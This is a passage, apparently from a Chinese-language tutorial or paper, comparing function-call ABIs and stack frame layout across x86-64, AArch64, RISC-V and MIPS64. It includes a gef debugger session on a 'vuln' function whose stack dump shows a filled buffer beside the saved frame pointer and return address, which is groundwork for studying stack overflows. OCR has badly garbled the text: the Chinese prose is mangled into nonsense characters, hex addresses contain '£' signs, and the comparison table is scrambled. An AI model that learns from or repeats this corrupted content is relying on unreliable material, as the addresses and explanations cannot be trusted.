18 0x0000003ff£f£££280: 0x0000003ffffff2e0 0x0000000000010830 <-- caller frame

RISC-V WAL a1l /jalr EREMBEEN ra, NREBINEE; SRS ra BT REUE SR E S0 H L
fh PR, GHFR s R, AR EN saved ra, B4 IE ret WASHERNE.

5.4

4. MIPS64 n64 ABI

MIPS64 THT 8 MR /4RE S HAE E $a0-3a7 , REUAE $v0 o REBMIEF/FAEZ Sra, frame pointer A
Sfp/$s8 o« JHIFFERML:

Ssw N

MIPS f 7y X IEIRAE,

daddiu $sp, $sp, -0x60
sd Sra, 0x58(Ssp)
sd Sfp, 0x50 (Ssp)
move Sfp, Ssp

jal £%H% Sra.

1

gef> b *vuln+44

PRECREGEY 2 Jr Sra I1—% delay slot 684

M TR E sra PRAFEEER, IS5
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sp
fp
ra
a0
al
a2

pc

gef> r

0x000000£f££££££200
0x000000£f££££££200
0x0000000120000a34
0xO000000f£f£££££220
0x0000000000000040
0x0000000000000000

gef> info reg sp fp ra a0 al a2

H= o# o

#

pc

frame pointer

return address register
argl

arg2

arg3

0x0000000120000950 <vuln+44>

e e e e e
w J oUW N O W oo U W N

=
NeJ

gef> x/14gx $sp

0x000000£££££££200:
0x000000f££££££210:
0x000000f£f£f££££220:
0x000000f££££££230:
0x000000f££££££240:
0x000000f££££££250:
0x000000f£f£f££££260:

0x0000000000000000
0x0000000000000000
0x4141414141414141
0x4141414141414141
0x0000000000000000
0x000000f£f£££££290
0x0000000000000000

0x0000000000000000
0x0000000000000000
0x4141414141414141
0x4141414141414141
0x0000000000000000
0x0000000120000a34
0x0000000000000000

local / padding

char buf[0x20]

buf continued

saved fp,

saved ra

MIPS #1 AArch64/RISC-V ZML, B 2058 SR B L A IEBE B 25 A7 4% Sra, TAZB x86-64 —FEH call H
BEK. LN EEREBF ST sra WREZIB MR .

5.5 ABI ZRE4
B A
) SRR [ IR O]t SR PP < Bss
B
x86-64 rdi,rsi,rdx(fcx(r8,r9, o call HEIFEI rop [rbp] anﬁdr?g, [rbp+8] ret,
SysV EEZ — (l W7 Je AR B AE A I
, X bl B x30(1r), W WL [sp] saved x29, [sp+8]
AArch64 0-x7, BESH LK 0 29 ;
b o - 1ERH% : saved x30, % 16 FI5% 5%
RISC- " . jal/jalr 5 A ra, FFHt L s0-8 saved ra, s0-16 saved
al-a7, WEZSH ik ) . s0/fp N
V64 T RRERAT 2R S0, Jay AR B AE IR H bk
” . jal G Sra, dEMTR saved $ra Al saved $fp AT [ &
MIPS64  $a0-$a7, ELBM LMK  svo O° $fp/$s8 ‘
o ! AR PI9S8 e, BEM e sra
Table 3

SR L, x86-64 IR IHEE RIREAR I, [RAR Gokkian S EDW: AArch64. RISC-V64. MIPS64 #8KH link register
Bl IR EHhE e NG 1977 0%, RAEE R BTN 4K B R . S8UL8 70, DURR 64 £ ABT #0056 18 %
frds, RASHHELZ . MR REHEER BAAS N AR B Bz b, x86-64 LL rbp N LR

B, T RISC-V #H s0/fp MEHHLRHE, AArch64/MIPS 5 & B AR F Y frame pointer 5 link register.
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